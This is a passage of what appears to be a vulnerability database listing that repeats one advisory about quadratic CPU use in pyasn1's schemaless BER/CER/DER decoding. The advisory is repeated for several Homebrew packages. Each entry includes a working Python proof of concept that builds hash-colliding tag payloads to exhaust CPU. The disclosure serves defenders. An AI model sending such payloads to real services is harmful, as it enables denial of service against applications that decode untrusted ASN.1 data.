b\u0027\\x30\u0027 + bytes([0x80 | len(length)]) + length + body\n\n\nfor count in (3200, 6400):\n    cases = (\n        (\"collision\", [32 + i * sys.hash_info.modulus\n                       for i in range(count)]),\n        (\"control\", [(1 \u003c\u003c 70) + i for i in range(count)]),\n    )\n    for name, tag_ids in cases:\n        wire = payload(tag_ids)\n        start = time.process_time()\n        value, remainder = decoder.decode(wire)\n        cpu_seconds = time.process_time() - start\n\n        assert type(value) is univ.Sequence\n        assert len(value) == count and remainder == b\u0027\u0027\n        for position, tag_id in enumerate(tag_ids):\n            component = value.getComponentByPosition(position)\n            assert component.asOctets() == b\u0027A\u0027\n            assert component.tagSet[-1].tagId == tag_id\n\n        print(count, name, len(wire), round(cpu_seconds, 3))\n```\n\n### Impact\n\nApplications that pass attacker-controlled bytes to schemaless BER, CER, or DER decoding can spend disproportionate CPU time on a relatively small, valid input. The demonstrated impact is availability; no confidentiality or integrity impact was observed.",
      "id": "BREW-gcalcli-CVE-2026-119194",
      "modified": "2026-10-31T19:26:28Z",
      "published": "2026-10-31T10:13:10Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-fm9c-5rcf-2q5p"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-119194"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/pull/132"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/a36e3a3d067148d26197a6b7221fd0e2cde9cc86"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pyasn1/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.5"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "type": "CVSS_V3"
        }
      ],
      "summary": "pyasn1 has quadratic CPU use in schemaless BER/CER/DER container decoding",
      "upstream": [
        "GHSA-fm9c-5rcf-2q5p",
        "CVE-2026-119194"
      ]
    }

    BREW-GLANCES-CVE-2026-119194 (GHSA-FM9C-5RCF-2Q5P)

    Vulnerability from osv_homebrew – Published: 2026-10-31 10:26 – Updated: 2026-10-31 19:40 – Source website
    VLAI
    Summary
    pyasn1 has quadratic CPU use in schemaless BER/CER/DER container decoding
    Details

    Summary

    When an application decodes attacker-controlled BER, CER, or DER data without an ASN.1 schema, a container with many distinct long tag IDs can cause quadratic CPU use. Repeated inputs can exhaust CPU and reduce service availability.

    Details

    ConstructedPayloadDecoderBase._decodeComponentsSchemaless inserts every decoded component’s TagSet into a growing set, although it only needs to distinguish one tag set from two or more. Attacker-chosen tag IDs can have colliding TagSet hashes, making each later insertion compare against an increasing number of earlier tags. This path is present in v0.6.4 and is inherited by the CER and DER decoders. The proposed fix stops growing the classification set after it contains two distinct tag sets, while retaining every decoded component and its order. On v0.6.4 with CPython 3.12.10, increasing the collision input from 3,200 to 6,400 components raised decode CPU time from 0.438 to 1.747 seconds; a comparable control rose from 0.031 to 0.065 seconds. Both inputs decoded successfully with the expected values and an empty remainder.

    Proof of concept

    Run this outside the repository checkout in a fresh Python 3.12 environment with pyasn1==0.6.4 installed:

    import sys
    import time
    
    from pyasn1.codec.ber import decoder
    from pyasn1.type import univ
    
    
    def enc_tag(tag_id):
        groups = [tag_id & 0x7f]
        tag_id >>= 7
        while tag_id:
            groups.append((tag_id & 0x7f) | 0x80)
            tag_id >>= 7
        return b'\xbf' + bytes(reversed(groups))
    
    
    def payload(tag_ids):
        body = b''.join(enc_tag(tag_id) + b'\x03\x04\x01A'
                        for tag_id in tag_ids)
        length = len(body).to_bytes((len(body).bit_length() + 7) // 8, 'big')
        return b'\x30' + bytes([0x80 | len(length)]) + length + body
    
    
    for count in (3200, 6400):
        cases = (
            ("collision", [32 + i * sys.hash_info.modulus
                           for i in range(count)]),
            ("control", [(1 << 70) + i for i in range(count)]),
        )
        for name, tag_ids in cases:
            wire = payload(tag_ids)
            start = time.process_time()
            value, remainder = decoder.decode(wire)
            cpu_seconds = time.process_time() - start
    
            assert type(value) is univ.Sequence
            assert len(value) == count and remainder == b''
            for position, tag_id in enumerate(tag_ids):
                component = value.getComponentByPosition(position)
                assert component.asOctets() == b'A'
                assert component.tagSet[-1].tagId == tag_id
    
            print(count, name, len(wire), round(cpu_seconds, 3))
    

    Impact

    Applications that pass attacker-controlled bytes to schemaless BER, CER, or DER decoding can spend disproportionate CPU time on a relatively small, valid input. The demonstrated impact is availability; no confidentiality or integrity impact was observed.


    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "pyasn1",
            "resource_purl": "pkg:pypi/pyasn1@0.6.5",
            "upstream_fixed_in": "0.6.5"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "glances",
            "purl": "pkg:brew/glances"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "3.0.2_1"
                },
                {
                  "fixed": "3.1.6.2"
                },
                {
                  "introduced": "4.3.1_1"
                },
                {
                  "fixed": "4.3.3_1"
                },
                {
                  "introduced": "4.5.0.1"
                },
                {
                  "fixed": "4.5.8_1"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/pyasn1@0.6.5",
            "name": "pyasn1",
            "resource": "pyasn1",
            "strategy": "registry",
            "subject_version": "0.6.5"
          }
        ]
      },
      "details": "### Summary\n\nWhen an application decodes attacker-controlled BER, CER, or DER data without an ASN.1 schema, a container with many distinct long tag IDs can cause quadratic CPU use. Repeated inputs can exhaust CPU and reduce service availability.\n\n### Details\n\nConstructedPayloadDecoderBase._decodeComponentsSchemaless inserts every decoded component\u2019s TagSet into a growing set, although it only needs to distinguish one tag set from two or more. Attacker-chosen tag IDs can have colliding TagSet hashes, making each later insertion compare against an increasing number of earlier tags. This path is present in v0.6.4 and is inherited by the CER and DER decoders. The proposed fix stops growing the classification set after it contains two distinct tag sets, while retaining every decoded component and its order.  On v0.6.4 with CPython 3.12.10, increasing the collision input from 3,200 to 6,400 components raised decode CPU time from 0.438 to 1.747 seconds; a comparable control rose from 0.031 to 0.065 seconds. Both inputs decoded successfully with the expected values and an empty remainder.\n\n### Proof of concept\n\nRun this outside the repository checkout in a fresh Python 3.12 environment with pyasn1==0.6.4 installed:\n\n```python\nimport sys\nimport time\n\nfrom pyasn1.codec.ber import decoder\nfrom pyasn1.type import univ\n\n\ndef enc_tag(tag_id):\n    groups = [tag_id \u0026 0x7f]\n    tag_id \u003e\u003e= 7\n    while tag_id:\n        groups.append((tag_id \u0026 0x7f) | 0x80)\n        tag_id \u003e\u003e= 7\n    return b\u0027\\xbf\u0027 + bytes(reversed(groups))\n\n\ndef payload(tag_ids):\n    body = b\u0027\u0027.join(enc_tag(tag_id) + b\u0027\\x03\\x04\\x01A\u0027\n                    for tag_id in tag_ids)\n    length = len(body).to_bytes((len(body).bit_length() + 7) // 8, \u0027big\u0027)\n    return b\u0027\\x30\u0027 + bytes([0x80 | len(length)]) + length + body\n\n\nfor count in (3200, 6400):\n    cases = (\n        (\"collision\", [32 + i * sys.hash_info.modulus\n                       for i in range(count)]),\n        (\"control\", [(1 \u003c\u003c 70) + i for i in range(count)]),\n    )\n    for name, tag_ids in cases:\n        wire = payload(tag_ids)\n        start = time.process_time()\n        value, remainder = decoder.decode(wire)\n        cpu_seconds = time.process_time() - start\n\n        assert type(value) is univ.Sequence\n        assert len(value) == count and remainder == b\u0027\u0027\n        for position, tag_id in enumerate(tag_ids):\n            component = value.getComponentByPosition(position)\n            assert component.asOctets() == b\u0027A\u0027\n            assert component.tagSet[-1].tagId == tag_id\n\n        print(count, name, len(wire), round(cpu_seconds, 3))\n```\n\n### Impact\n\nApplications that pass attacker-controlled bytes to schemaless BER, CER, or DER decoding can spend disproportionate CPU time on a relatively small, valid input. The demonstrated impact is availability; no confidentiality or integrity impact was observed.",
      "id": "BREW-glances-CVE-2026-119194",
      "modified": "2026-10-31T19:40:53Z",
      "published": "2026-10-31T10:26:31Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-fm9c-5rcf-2q5p"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-119194"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/pull/132"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/a36e3a3d067148d26197a6b7221fd0e2cde9cc86"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pyasn1/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.5"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "type": "CVSS_V3"
        }
      ],
      "summary": "pyasn1 has quadratic CPU use in schemaless BER/CER/DER container decoding",
      "upstream": [
        "GHSA-fm9c-5rcf-2q5p",
        "CVE-2026-119194"
      ]
    }

    BREW-GYB-CVE-2026-119194 (GHSA-FM9C-5RCF-2Q5P)

    Vulnerability from osv_homebrew – Published: 2026-10-31 10:21 – Updated: 2026-10-31 10:21 – Source website
    VLAI
    Summary
    pyasn1 has quadratic CPU use in schemaless BER/CER/DER container decoding
    Details

    Summary

    When an application decodes attacker-controlled BER, CER, or DER data without an ASN.1 schema, a container with many distinct long tag IDs can cause quadratic CPU use. Repeated inputs can exhaust CPU and reduce service availability.

    Details

    ConstructedPayloadDecoderBase._decodeComponentsSchemaless inserts every decoded component’s TagSet into a growing set, although it only needs to distinguish one tag set from two or more. Attacker-chosen tag IDs can have colliding TagSet hashes, making each later insertion compare against an increasing number of earlier tags. This path is present in v0.6.4 and is inherited by the CER and DER decoders. The proposed fix stops growing the classification set after it contains two distinct tag sets, while retaining every decoded component and its order. On v0.6.4 with CPython 3.12.10, increasing the collision input from 3,200 to 6,400 components raised decode CPU time from 0.438 to 1.747 seconds; a comparable control rose from 0.031 to 0.065 seconds. Both inputs decoded successfully with the expected values and an empty remainder.

    Proof of concept

    Run this outside the repository checkout in a fresh Python 3.12 environment with pyasn1==0.6.4 installed:

    import sys
    import time
    
    from pyasn1.codec.ber import decoder
    from pyasn1.type import univ
    
    
    def enc_tag(tag_id):
        groups = [tag_id & 0x7f]
        tag_id >>= 7
        while tag_id:
            groups.append((tag_id & 0x7f) | 0x80)
            tag_id >>= 7
        return b'\xbf' + bytes(reversed(groups))
    
    
    def payload(tag_ids):
        body = b''.join(enc_tag(tag_id) + b'\x03\x04\x01A'
                        for tag_id in tag_ids)
        length = len(body).to_bytes((len(body).bit_length() + 7) // 8, 'big')
        return b'\x30' + bytes([0x80 | len(length)]) + length + body
    
    
    for count in (3200, 6400):
        cases = (
            ("collision", [32 + i * sys.hash_info.modulus
                           for i in range(count)]),
            ("control", [(1 << 70) + i for i in range(count)]),
        )
        for name, tag_ids in cases:
            wire = payload(tag_ids)
            start = time.process_time()
            value, remainder = decoder.decode(wire)
            cpu_seconds = time.process_time() - start
    
            assert type(value) is univ.Sequence
            assert len(value) == count and remainder == b''
            for position, tag_id in enumerate(tag_ids):
                component = value.getComponentByPosition(position)
                assert component.asOctets() == b'A'
                assert component.tagSet[-1].tagId == tag_id
    
            print(count, name, len(wire), round(cpu_seconds, 3))
    

    Impact

    Applications that pass attacker-controlled bytes to schemaless BER, CER, or DER decoding can spend disproportionate CPU time on a relatively small, valid input. The demonstrated impact is availability; no confidentiality or integrity impact was observed.


    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": null,
            "range_state": "affected",
            "resource": "pyasn1",
            "resource_purl": "pkg:pypi/pyasn1@0.6.4",
            "upstream_fixed_in": "0.6.5"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "gyb",
            "purl": "pkg:brew/gyb"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "1.73"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/pyasn1@0.6.4",
            "name": "pyasn1",
            "resource": "pyasn1",
            "strategy": "registry",
            "subject_version": "0.6.4"
          }
        ]
      },
      "details": "### Summary\n\nWhen an application decodes attacker-controlled BER, CER, or DER data without an ASN.1 schema, a container with many distinct long tag IDs can cause quadratic CPU use. Repeated inputs can exhaust CPU and reduce service availability.\n\n### Details\n\nConstructedPayloadDecoderBase._decodeComponentsSchemaless inserts every decoded component\u2019s TagSet into a growing set, although it only needs to distinguish one tag set from two or more. Attacker-chosen tag IDs can have colliding TagSet hashes, making each later insertion compare against an increasing number of earlier tags. This path is present in v0.6.4 and is inherited by the CER and DER decoders. The proposed fix stops growing the classification set after it contains two distinct tag sets, while retaining every decoded component and its order.  On v0.6.4 with CPython 3.12.10, increasing the collision input from 3,200 to 6,400 components raised decode CPU time from 0.438 to 1.747 seconds; a comparable control rose from 0.031 to 0.065 seconds. Both inputs decoded successfully with the expected values and an empty remainder.\n\n### Proof of concept\n\nRun this outside the repository checkout in a fresh Python 3.12 environment with pyasn1==0.6.4 installed:\n\n```python\nimport sys\nimport time\n\nfrom pyasn1.codec.ber import decoder\nfrom pyasn1.type import univ\n\n\ndef enc_tag(tag_id):\n    groups = [tag_id \u0026 0x7f]\n    tag_id \u003e\u003e= 7\n    while tag_id:\n        groups.append((tag_id \u0026 0x7f) | 0x80)\n        tag_id \u003e\u003e= 7\n    return b\u0027\\xbf\u0027 + bytes(reversed(groups))\n\n\ndef payload(tag_ids):\n    body = b\u0027\u0027.join(enc_tag(tag_id) + b\u0027\\x03\\x04\\x01A\u0027\n                    for tag_id in tag_ids)\n    length = len(body).to_bytes((len(body).bit_length() + 7) // 8, \u0027big\u0027)\n    return b\u0027\\x30\u0027 + bytes([0x80 | len(length)]) + length + body\n\n\nfor count in (3200, 6400):\n    cases = (\n        (\"collision\", [32 + i * sys.hash_info.modulus\n                       for i in range(count)]),\n        (\"control\", [(1 \u003c\u003c 70) + i for i in range(count)]),\n    )\n    for name, tag_ids in cases:\n        wire = payload(tag_ids)\n        start = time.process_time()\n        value, remainder = decoder.decode(wire)\n        cpu_seconds = time.process_time() - start\n\n        assert type(value) is univ.Sequence\n        assert len(value) == count and remainder == b\u0027\u0027\n        for position, tag_id in enumerate(tag_ids):\n            component = value.getComponentByPosition(position)\n            assert component.asOctets() == b\u0027A\u0027\n            assert component.tagSet[-1].tagId == tag_id\n\n        print(count, name, len(wire), round(cpu_seconds, 3))\n```\n\n### Impact\n\nApplications that pass attacker-controlled bytes to schemaless BER, CER, or DER decoding can spend disproportionate CPU time on a relatively small, valid input. The demonstrated impact is availability; no confidentiality or integrity impact was observed.",
      "id": "BREW-gyb-CVE-2026-119194",
      "modified": "2026-10-31T10:21:14Z",
      "published": "2026-10-31T10:21:14Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-fm9c-5rcf-2q5p"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-119194"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/pull/132"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/a36e3a3d067148d26197a6b7221fd0e2cde9cc86"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pyasn1/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.5"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "type": "CVSS_V3"
        }
      ],
      "summary": "pyasn1 has quadratic CPU use in schemaless BER/CER/DER container decoding",
      "upstream": [
        "GHSA-fm9c-5rcf-2q5p",
        "CVE-2026-119194"
      ]
    }

    BREW-HERMES-AGENT-CVE-20… (GHSA-FM9C-5RCF-2Q5P)

    Vulnerability from osv_homebrew – Published: 2026-10-31 09:08 – Updated: 2026-10-31 16:11 – Source website
    VLAI
    Summary
    pyasn1 has quadratic CPU use in schemaless BER/CER/DER container decoding
    Details

    Summary

    When an application decodes attacker-controlled BER, CER, or DER data without an ASN.1 schema, a container with many distinct long tag IDs can cause quadratic CPU use. Repeated inputs can exhaust CPU and reduce service availability.

    Details

    ConstructedPayloadDecoderBase._decodeComponentsSchemaless inserts every decoded component’s TagSet into a growing set, although it only needs to distinguish one tag set from two or more. Attacker-chosen tag IDs can have colliding TagSet hashes, making each later insertion compare against an increasing number of earlier tags. This path is present in v0.6.4 and is inherited by the CER and DER decoders. The proposed fix stops growing the classification set after it contains two distinct tag sets, while retaining every decoded component and its order. On v0.6.4 with CPython 3.12.10, increasing the collision input from 3,200 to 6,400 components raised decode CPU time from 0.438 to 1.747 seconds; a comparable control rose from 0.031 to 0.065 seconds. Both inputs decoded successfully with the expected values and an empty remainder.

    Proof of concept

    Run this outside the repository checkout in a fresh Python 3.12 environment with pyasn1==0.6.4 installed:

    import sys
    import time
    
    from pyasn1.codec.ber import decoder
    from pyasn1.type import univ
    
    
    def enc_tag(tag_id):
        groups = [tag_id & 0x7f]
        tag_id >>= 7
        while tag_id:
            groups.append((tag_id & 0x7f) | 0x80)
            tag_id >>= 7
        return b'\xbf' + bytes(reversed(groups))
    
    
    def payload(tag_ids):
        body = b''.join(enc_tag(tag_id) + b'\x03\x04\x01A'
                        for tag_id in tag_ids)
        length = len(body).to_bytes((len(body).bit_length() + 7) // 8, 'big')
        return b'\x30' + bytes([0x80 | len(length)]) + length + body
    
    
    for count in (3200, 6400):
        cases = (
            ("collision", [32 + i * sys.hash_info.modulus
                           for i in range(count)]),
            ("control", [(1 << 70) + i for i in range(count)]),
        )
        for name, tag_ids in cases:
            wire = payload(tag_ids)
            start = time.process_time()
            value, remainder = decoder.decode(wire)
            cpu_seconds = time.process_time() - start
    
            assert type(value) is univ.Sequence
            assert len(value) == count and remainder == b''
            for position, tag_id in enumerate(tag_ids):
                component = value.getComponentByPosition(position)
                assert component.asOctets() == b'A'
                assert component.tagSet[-1].tagId == tag_id
    
            print(count, name, len(wire), round(cpu_seconds, 3))
    

    Impact

    Applications that pass attacker-controlled bytes to schemaless BER, CER, or DER decoding can spend disproportionate CPU time on a relatively small, valid input. The demonstrated impact is availability; no confidentiality or integrity impact was observed.


    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": null,
            "range_state": "affected",
            "resource": "pyasn1",
            "resource_purl": "pkg:pypi/pyasn1@0.6.4",
            "upstream_fixed_in": "0.6.5"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "hermes-agent",
            "purl": "pkg:brew/hermes-agent"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "0.21.6"
                }
              ],
              "type": "ECOSYSTEM"
            },
            {
              "events": [
                {
                  "introduced": "2026.9.14"
                },
                {
                  "last_affected": "2026.9.24"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/pyasn1@0.6.4",
            "name": "pyasn1",
            "resource": "pyasn1",
            "strategy": "registry",
            "subject_version": "0.6.4"
          }
        ]
      },
      "details": "### Summary\n\nWhen an application decodes attacker-controlled BER, CER, or DER data without an ASN.1 schema, a container with many distinct long tag IDs can cause quadratic CPU use. Repeated inputs can exhaust CPU and reduce service availability.\n\n### Details\n\nConstructedPayloadDecoderBase._decodeComponentsSchemaless inserts every decoded component\u2019s TagSet into a growing set, although it only needs to distinguish one tag set from two or more. Attacker-chosen tag IDs can have colliding TagSet hashes, making each later insertion compare against an increasing number of earlier tags. This path is present in v0.6.4 and is inherited by the CER and DER decoders. The proposed fix stops growing the classification set after it contains two distinct tag sets, while retaining every decoded component and its order.  On v0.6.4 with CPython 3.12.10, increasing the collision input from 3,200 to 6,400 components raised decode CPU time from 0.438 to 1.747 seconds; a comparable control rose from 0.031 to 0.065 seconds. Both inputs decoded successfully with the expected values and an empty remainder.\n\n### Proof of concept\n\nRun this outside the repository checkout in a fresh Python 3.12 environment with pyasn1==0.6.4 installed:\n\n```python\nimport sys\nimport time\n\nfrom pyasn1.codec.ber import decoder\nfrom pyasn1.type import univ\n\n\ndef enc_tag(tag_id):\n    groups = [tag_id \u0026 0x7f]\n    tag_id \u003e\u003e= 7\n    while tag_id:\n        groups.append((tag_id \u0026 0x7f) | 0x80)\n        tag_id \u003e\u003e= 7\n    return b\u0027\\xbf\u0027 + bytes(reversed(groups))\n\n\ndef payload(tag_ids):\n    body = b\u0027\u0027.join(enc_tag(tag_id) + b\u0027\\x03\\x04\\x01A\u0027\n                    for tag_id in tag_ids)\n    length = len(body).to_bytes((len(body).bit_length() + 7) // 8, \u0027big\u0027)\n    return b\u0027\\x30\u0027 + bytes([0x80 | len(length)]) + length + body\n\n\nfor count in (3200, 6400):\n    cases = (\n        (\"collision\", [32 + i * sys.hash_info.modulus\n                       for i in range(count)]),\n        (\"control\", [(1 \u003c\u003c 70) + i for i in range(count)]),\n    )\n    for name, tag_ids in cases:\n        wire = payload(tag_ids)\n        start = time.process_time()\n        value, remainder = decoder.decode(wire)\n        cpu_seconds = time.process_time() - start\n\n        assert type(value) is univ.Sequence\n        assert len(value) == count and remainder == b\u0027\u0027\n        for position, tag_id in enumerate(tag_ids):\n            component = value.getComponentByPosition(position)\n            assert component.asOctets() == b\u0027A\u0027\n            assert component.tagSet[-1].tagId == tag_id\n\n        print(count, name, len(wire), round(cpu_seconds, 3))\n```\n\n### Impact\n\nApplications that pass attacker-controlled bytes to schemaless BER, CER, or DER decoding can spend disproportionate CPU time on a relatively small, valid input. The demonstrated impact is availability; no confidentiality or integrity impact was observed.",
      "id": "BREW-hermes-agent-CVE-2026-119194",
      "modified": "2026-10-31T16:11:59Z",
      "published": "2026-10-31T09:08:57Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-fm9c-5rcf-2q5p"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-119194"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/pull/132"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/a36e3a3d067148d26197a6b7221fd0e2cde9cc86"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pyasn1/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.5"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "type": "CVSS_V3"
        }
      ],
      "summary": "pyasn1 has quadratic CPU use in schemaless BER/CER/DER container decoding",
      "upstream": [
        "GHSA-fm9c-5rcf-2q5p",
        "CVE-2026-119194"
      ]
    }

    BREW-KIMI-CLI-CVE-2026-119194 (GHSA-FM9C-5RCF-2Q5P)

    Vulnerability from osv_homebrew – Published: 2026-10-31 11:03 – Updated: 2026-10-31 11:03 – Source website
    VLAI
    Summary
    pyasn1 has quadratic CPU use in schemaless BER/CER/DER container decoding
    Details

    Summary

    When an application decodes attacker-controlled BER, CER, or DER data without an ASN.1 schema, a container with many distinct long tag IDs can cause quadratic CPU use. Repeated inputs can exhaust CPU and reduce service availability.

    Details

    ConstructedPayloadDecoderBase._decodeComponentsSchemaless inserts every decoded component’s TagSet into a growing set, although it only needs to distinguish one tag set from two or more. Attacker-chosen tag IDs can have colliding TagSet hashes, making each later insertion compare against an increasing number of earlier tags. This path is present in v0.6.4 and is inherited by the CER and DER decoders. The proposed fix stops growing the classification set after it contains two distinct tag sets, while retaining every decoded component and its order. On v0.6.4 with CPython 3.12.10, increasing the collision input from 3,200 to 6,400 components raised decode CPU time from 0.438 to 1.747 seconds; a comparable control rose from 0.031 to 0.065 seconds. Both inputs decoded successfully with the expected values and an empty remainder.

    Proof of concept

    Run this outside the repository checkout in a fresh Python 3.12 environment with pyasn1==0.6.4 installed:

    import sys
    import time
    
    from pyasn1.codec.ber import decoder
    from pyasn1.type import univ
    
    
    def enc_tag(tag_id):
        groups = [tag_id & 0x7f]
        tag_id >>= 7
        while tag_id:
            groups.append((tag_id & 0x7f) | 0x80)
            tag_id >>= 7
        return b'\xbf' + bytes(reversed(groups))
    
    
    def payload(tag_ids):
        body = b''.join(enc_tag(tag_id) + b'\x03\x04\x01A'
                        for tag_id in tag_ids)
        length = len(body).to_bytes((len(body).bit_length() + 7) // 8, 'big')
        return b'\x30' + bytes([0x80 | len(length)]) + length + body
    
    
    for count in (3200, 6400):
        cases = (
            ("collision", [32 + i * sys.hash_info.modulus
                           for i in range(count)]),
            ("control", [(1 << 70) + i for i in range(count)]),
        )
        for name, tag_ids in cases:
            wire = payload(tag_ids)
            start = time.process_time()
            value, remainder = decoder.decode(wire)
            cpu_seconds = time.process_time() - start
    
            assert type(value) is univ.Sequence
            assert len(value) == count and remainder == b''
            for position, tag_id in enumerate(tag_ids):
                component = value.getComponentByPosition(position)
                assert component.asOctets() == b'A'
                assert component.tagSet[-1].tagId == tag_id
    
            print(count, name, len(wire), round(cpu_seconds, 3))
    

    Impact

    Applications that pass attacker-controlled bytes to schemaless BER, CER, or DER decoding can spend disproportionate CPU time on a relatively small, valid input. The demonstrated impact is availability; no confidentiality or integrity impact was observed.


    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": null,
            "range_state": "affected",
            "resource": "pyasn1",
            "resource_purl": "pkg:pypi/pyasn1@0.6.4",
            "upstream_fixed_in": "0.6.5"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "kimi-cli",
            "purl": "pkg:brew/kimi-cli"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "0.56"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/pyasn1@0.6.4",
            "name": "pyasn1",
            "resource": "pyasn1",
            "strategy": "registry",
            "subject_version": "0.6.4"
          }
        ]
      },
      "details": "### Summary\n\nWhen an application decodes attacker-controlled BER, CER, or DER data without an ASN.1 schema, a container with many distinct long tag IDs can cause quadratic CPU use. Repeated inputs can exhaust CPU and reduce service availability.\n\n### Details\n\nConstructedPayloadDecoderBase._decodeComponentsSchemaless inserts every decoded component\u2019s TagSet into a growing set, although it only needs to distinguish one tag set from two or more. Attacker-chosen tag IDs can have colliding TagSet hashes, making each later insertion compare against an increasing number of earlier tags. This path is present in v0.6.4 and is inherited by the CER and DER decoders. The proposed fix stops growing the classification set after it contains two distinct tag sets, while retaining every decoded component and its order.  On v0.6.4 with CPython 3.12.10, increasing the collision input from 3,200 to 6,400 components raised decode CPU time from 0.438 to 1.747 seconds; a comparable control rose from 0.031 to 0.065 seconds. Both inputs decoded successfully with the expected values and an empty remainder.\n\n### Proof of concept\n\nRun this outside the repository checkout in a fresh Python 3.12 environment with pyasn1==0.6.4 installed:\n\n```python\nimport sys\nimport time\n\nfrom pyasn1.codec.ber import decoder\nfrom pyasn1.type import univ\n\n\ndef enc_tag(tag_id):\n    groups = [tag_id \u0026 0x7f]\n    tag_id \u003e\u003e= 7\n    while tag_id:\n        groups.append((tag_id \u0026 0x7f) | 0x80)\n        tag_id \u003e\u003e= 7\n    return b\u0027\\xbf\u0027 + bytes(reversed(groups))\n\n\ndef payload(tag_ids):\n    body = b\u0027\u0027.join(enc_tag(tag_id) + b\u0027\\x03\\x04\\x01A\u0027\n                    for tag_id in tag_ids)\n    length = len(body).to_bytes((len(body).bit_length() + 7) // 8, \u0027big\u0027)\n    return b\u0027\\x30\u0027 + bytes([0x80 | len(length)]) + length + body\n\n\nfor count in (3200, 6400):\n    cases = (\n        (\"collision\", [32 + i * sys.hash_info.modulus\n                       for i in range(count)]),\n        (\"control\", [(1 \u003c\u003c 70) + i for i in range(count)]),\n    )\n    for name, tag_ids in cases:\n        wire = payload(tag_ids)\n        start = time.process_time()\n        value, remainder = decoder.decode(wire)\n        cpu_seconds = time.process_time() - start\n\n        assert type(value) is univ.Sequence\n        assert len(value) == count and remainder == b\u0027\u0027\n        for position, tag_id in enumerate(tag_ids):\n            component = value.getComponentByPosition(position)\n            assert component.asOctets() == b\u0027A\u0027\n            assert component.tagSet[-1].tagId == tag_id\n\n        print(count, name, len(wire), round(cpu_seconds, 3))\n```\n\n### Impact\n\nApplications that pass attacker-controlled bytes to schemaless BER, CER, or DER decoding can spend disproportionate CPU time on a relatively small, valid input. The demonstrated impact is availability; no confidentiality or integrity impact was observed.",
      "id": "BREW-kimi-cli-CVE-2026-119194",
      "modified": "2026-10-31T11:03:21Z",
      "published": "2026-10-31T11:03:21Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-fm9c-5rcf-2q5p"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-119194"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/pull/132"
        },
        {
          "type": "WEB",
